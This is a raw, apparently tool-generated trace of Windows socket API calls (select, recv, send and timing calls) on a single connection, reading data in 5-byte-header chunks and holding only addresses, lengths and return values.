[0119.728] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.728] rand () returned 3602 [0119.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.728] WSASetLastError (iError=0) [0119.728] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.728] SetLastError (dwErrCode=0x0) [0119.728] WSASetLastError (iError=0) [0119.728] recv (in: s=0x1d4, buf=0x865668, len=3560, flags=0 | out: buf=0x865668*) returned 3560 [0119.728] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.728] rand () returned 24350 [0119.728] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.728] WSASetLastError (iError=0) [0119.728] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.728] SetLastError (dwErrCode=0x0) [0119.728] WSASetLastError (iError=0) [0119.728] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.728] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.728] rand () returned 10291 [0119.728] rand () returned 30836 [0119.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.729] WSASetLastError (iError=0) [0119.729] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.729] SetLastError (dwErrCode=0x0) [0119.729] WSASetLastError (iError=0) [0119.729] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 70 [0119.729] SetLastError (dwErrCode=0x0) [0119.729] WSASetLastError (iError=0) [0119.729] recv (in: s=0x1d4, buf=0x8656ae, len=4002, flags=0 | out: buf=0x8656ae) returned -1 [0119.729] WSAGetLastError () returned 10035 [0119.729] GetCurrentThreadId () returned 0x918 [0119.729] WSASetLastError (iError=0) [0119.729] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.729] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.729] rand () returned 9374 [0119.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.729] WSASetLastError (iError=0) [0119.729] recv (in: s=0x1d4, buf=0x8656ae, len=4002, flags=0 | out: buf=0x8656ae*) returned 4002 [0119.729] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.729] rand () returned 11020 [0119.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.729] WSASetLastError (iError=0) [0119.729] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.729] SetLastError (dwErrCode=0x0) [0119.729] WSASetLastError (iError=0) [0119.730] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 349 [0119.730] SetLastError (dwErrCode=0x0) [0119.730] WSASetLastError (iError=0) [0119.730] recv (in: s=0x1d4, buf=0x8657c5, len=3723, flags=0 | out: buf=0x8657c5) returned -1 [0119.730] WSAGetLastError () returned 10035 [0119.730] GetCurrentThreadId () returned 0x918 [0119.730] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.730] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.730] rand () returned 4596 [0119.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.730] WSASetLastError (iError=0) [0119.730] recv (in: s=0x1d4, buf=0x8657c5, len=3723, flags=0 | out: buf=0x8657c5*) returned 3723 [0119.730] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.730] rand () returned 24021 [0119.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.730] WSASetLastError (iError=0) [0119.730] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.730] SetLastError (dwErrCode=0x0) [0119.730] WSASetLastError (iError=0) [0119.731] recv (in: s=0x1d4, buf=0x865668, len=792, flags=0 | out: buf=0x865668*) returned 792 [0119.731] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.731] rand () returned 27348 [0119.731] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.731] WSASetLastError (iError=0) [0119.731] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.731] SetLastError (dwErrCode=0x0) [0119.731] WSASetLastError (iError=0) [0119.731] recv (in: s=0x1d4, buf=0x865668, len=3304, flags=0 | out: buf=0x865668*) returned 2735 [0119.731] SetLastError (dwErrCode=0x0) [0119.731] WSASetLastError (iError=0) [0119.731] recv (in: s=0x1d4, buf=0x866117, len=569, flags=0 | out: buf=0x866117) returned -1 [0119.731] WSAGetLastError () returned 10035 [0119.731] GetCurrentThreadId () returned 0x918 [0119.731] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.732] rand () returned 23199 [0119.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.732] WSASetLastError (iError=0) [0119.732] recv (in: s=0x1d4, buf=0x866117, len=569, flags=0 | out: buf=0x866117*) returned 569 [0119.732] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.732] rand () returned 19668 [0119.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.732] WSASetLastError (iError=0) [0119.732] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.732] SetLastError (dwErrCode=0x0) [0119.732] WSASetLastError (iError=0) [0119.732] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.732] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.732] rand () returned 24484 [0119.732] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.732] WSASetLastError (iError=0) [0119.732] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.732] SetLastError (dwErrCode=0x0) [0119.732] WSASetLastError (iError=0) [0119.732] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1157 [0119.733] SetLastError (dwErrCode=0x0) [0119.733] WSASetLastError (iError=0) [0119.733] recv (in: s=0x1d4, buf=0x865aed, len=2915, flags=0 | out: buf=0x865aed) returned -1 [0119.733] WSAGetLastError () returned 10035 [0119.733] GetCurrentThreadId () returned 0x918 [0119.733] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.733] rand () returned 8281 [0119.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.733] WSASetLastError (iError=0) [0119.733] recv (in: s=0x1d4, buf=0x865aed, len=2915, flags=0 | out: buf=0x865aed*) returned 2915 [0119.734] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.734] rand () returned 4734 [0119.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.734] WSASetLastError (iError=0) [0119.734] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.734] SetLastError (dwErrCode=0x0) [0119.734] WSASetLastError (iError=0) [0119.734] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.734] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.734] rand () returned 53 [0119.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.734] WSASetLastError (iError=0) [0119.734] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.734] SetLastError (dwErrCode=0x0) [0119.734] WSASetLastError (iError=0) [0119.734] recv (in: s=0x1d4, buf=0x865668, len=1048, flags=0 | out: buf=0x865668*) returned 263 [0119.734] SetLastError (dwErrCode=0x0) [0119.734] WSASetLastError (iError=0) [0119.734] recv (in: s=0x1d4, buf=0x86576f, len=785, flags=0 | out: buf=0x86576f) returned -1 [0119.734] WSAGetLastError () returned 10035 [0119.734] GetCurrentThreadId () returned 0x918 [0119.734] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.734] rand () returned 1999 [0119.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.734] WSASetLastError (iError=0) [0119.734] send (in: s=0x1d4, buf=0x8697b3*, len=543, flags=0 | out: buf=0x8697b3*) returned 543 [0119.734] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.735] rand () returned 26418 [0119.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.735] WSASetLastError (iError=0) [0119.735] recv (in: s=0x1d4, buf=0x86576f, len=785, flags=0 | out: buf=0x86576f*) returned 785 [0119.735] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.735] rand () returned 27938 [0119.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.735] WSASetLastError (iError=0) [0119.735] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.735] SetLastError (dwErrCode=0x0) [0119.735] WSASetLastError (iError=0) [0119.735] recv (in: s=0x1d4, buf=0x865668, len=3048, flags=0 | out: buf=0x865668*) returned 3048 [0119.735] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.735] rand () returned 6900 [0119.735] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.735] WSASetLastError (iError=0) [0119.735] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.735] SetLastError (dwErrCode=0x0) [0119.735] WSASetLastError (iError=0) [0119.735] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.736] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.736] rand () returned 3788 [0119.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.736] WSASetLastError (iError=0) [0119.736] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.736] SetLastError (dwErrCode=0x0) [0119.736] WSASetLastError (iError=0) [0119.736] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 792 [0119.736] SetLastError (dwErrCode=0x0) [0119.736] WSASetLastError (iError=0) [0119.736] recv (in: s=0x1d4, buf=0x865980, len=3280, flags=0 | out: buf=0x865980) returned -1 [0119.736] WSAGetLastError () returned 10035 [0119.736] GetCurrentThreadId () returned 0x918 [0119.736] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.736] rand () returned 18127 [0119.736] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.737] WSASetLastError (iError=0) [0119.737] recv (in: s=0x1d4, buf=0x865980, len=3280, flags=0 | out: buf=0x865980*) returned 3280 [0119.737] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.737] rand () returned 467 [0119.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.737] WSASetLastError (iError=0) [0119.737] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.737] SetLastError (dwErrCode=0x0) [0119.737] WSASetLastError (iError=0) [0119.737] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 3975 [0119.737] SetLastError (dwErrCode=0x0) [0119.737] WSASetLastError (iError=0) [0119.737] recv (in: s=0x1d4, buf=0x8665ef, len=97, flags=0 | out: buf=0x8665ef) returned -1 [0119.737] WSAGetLastError () returned 10035 [0119.737] GetCurrentThreadId () returned 0x918 [0119.737] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.737] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de0df10, dwHighDateTime=0x1d31ac1)) [0119.737] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.738] rand () returned 3728 [0119.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.738] WSASetLastError (iError=0) [0119.738] recv (in: s=0x1d4, buf=0x8665ef, len=97, flags=0 | out: buf=0x8665ef*) returned 97 [0119.738] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.738] rand () returned 14893 [0119.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.738] WSASetLastError (iError=0) [0119.738] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.738] SetLastError (dwErrCode=0x0) [0119.738] WSASetLastError (iError=0) [0119.739] recv (in: s=0x1d4, buf=0x865668, len=1304, flags=0 | out: buf=0x865668*) returned 1304 [0119.739] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.739] rand () returned 24648 [0119.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.739] WSASetLastError (iError=0) [0119.739] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.739] SetLastError (dwErrCode=0x0) [0119.739] WSASetLastError (iError=0) [0119.739] recv (in: s=0x1d4, buf=0x865668, len=2792, flags=0 | out: buf=0x865668*) returned 2792 [0119.739] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.739] rand () returned 22483 [0119.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.739] WSASetLastError (iError=0) [0119.739] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.739] SetLastError (dwErrCode=0x0) [0119.739] WSASetLastError (iError=0) [0119.739] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.739] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 2 [0119.739] rand () returned 17807 [0119.739] rand () returned 2421 [0119.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.740] WSASetLastError (iError=0) [0119.740] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.740] SetLastError (dwErrCode=0x0) [0119.740] WSASetLastError (iError=0) [0119.740] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 1879 [0119.740] SetLastError (dwErrCode=0x0) [0119.740] WSASetLastError (iError=0) [0119.740] recv (in: s=0x1d4, buf=0x865dbf, len=2193, flags=0 | out: buf=0x865dbf) returned -1 [0119.740] WSAGetLastError () returned 10035 [0119.740] GetCurrentThreadId () returned 0x918 [0119.740] WSASetLastError (iError=0) [0119.740] send (in: s=0x1d4, buf=0x8697b3*, len=1057, flags=0 | out: buf=0x8697b3*) returned 1057 [0119.740] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.740] rand () returned 14310 [0119.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.740] WSASetLastError (iError=0) [0119.740] recv (in: s=0x1d4, buf=0x865dbf, len=2193, flags=0 | out: buf=0x865dbf*) returned 2193 [0119.741] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.741] rand () returned 6617 [0119.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.741] WSASetLastError (iError=0) [0119.741] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.741] SetLastError (dwErrCode=0x0) [0119.741] WSASetLastError (iError=0) [0119.741] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.741] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.741] rand () returned 22813 [0119.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.741] WSASetLastError (iError=0) [0119.741] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.741] SetLastError (dwErrCode=0x0) [0119.741] WSASetLastError (iError=0) [0119.741] recv (in: s=0x1d4, buf=0x865668, len=1560, flags=0 | out: buf=0x865668*) returned 985 [0119.741] SetLastError (dwErrCode=0x0) [0119.741] WSASetLastError (iError=0) [0119.741] recv (in: s=0x1d4, buf=0x865a41, len=575, flags=0 | out: buf=0x865a41) returned -1 [0119.741] WSAGetLastError () returned 10035 [0119.741] GetCurrentThreadId () returned 0x918 [0119.741] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.742] rand () returned 9514 [0119.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.742] WSASetLastError (iError=0) [0119.742] recv (in: s=0x1d4, buf=0x865a41, len=575, flags=0 | out: buf=0x865a41*) returned 575 [0119.742] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.742] rand () returned 14309 [0119.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.742] WSASetLastError (iError=0) [0119.742] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.742] SetLastError (dwErrCode=0x0) [0119.742] WSASetLastError (iError=0) [0119.742] recv (in: s=0x1d4, buf=0x865668, len=2536, flags=0 | out: buf=0x865668*) returned 2324 [0119.742] SetLastError (dwErrCode=0x0) [0119.742] WSASetLastError (iError=0) [0119.742] recv (in: s=0x1d4, buf=0x865f7c, len=212, flags=0 | out: buf=0x865f7c) returned -1 [0119.742] WSAGetLastError () returned 10035 [0119.742] GetCurrentThreadId () returned 0x918 [0119.742] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 0 [0119.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.742] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.742] rand () returned 7616 [0119.742] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.743] WSASetLastError (iError=0) [0119.743] recv (in: s=0x1d4, buf=0x865f7c, len=212, flags=0 | out: buf=0x865f7c*) returned 212 [0119.743] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.743] rand () returned 18935 [0119.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.743] WSASetLastError (iError=0) [0119.743] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.743] SetLastError (dwErrCode=0x0) [0119.743] WSASetLastError (iError=0) [0119.743] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 4072 [0119.743] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.743] rand () returned 17451 [0119.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.743] WSASetLastError (iError=0) [0119.743] recv (in: s=0x1d4, buf=0x865663, len=5, flags=0 | out: buf=0x865663*) returned 5 [0119.743] SetLastError (dwErrCode=0x0) [0119.743] WSASetLastError (iError=0) [0119.743] recv (in: s=0x1d4, buf=0x865668, len=4072, flags=0 | out: buf=0x865668*) returned 2966 [0119.743] SetLastError (dwErrCode=0x0) [0119.743] WSASetLastError (iError=0) [0119.743] recv (in: s=0x1d4, buf=0x8661fe, len=1106, flags=0 | out: buf=0x8661fe) returned -1 [0119.743] WSAGetLastError () returned 10035 [0119.743] GetCurrentThreadId () returned 0x918 [0119.743] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.744] rand () returned 20600 [0119.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.744] WSASetLastError (iError=0) [0119.744] recv (in: s=0x1d4, buf=0x8661fe, len=1106, flags=0 | out: buf=0x8661fe*) returned 1106 [0119.744] select (in: nfds=3, readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718, timeout=0x36f7e4 | out: readfds=0x8495f8, writefds=0x849688, exceptfds=0x849718) returned 1 [0119.744] rand () returned 5249 [0119.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x36f618 | out: lpSystemTimeAsFileTime=0x36f618*(dwLowDateTime=0x3de34070, dwHighDateTime=0x1d31ac1)) [0119.744] WSASetLastError (iError=0) 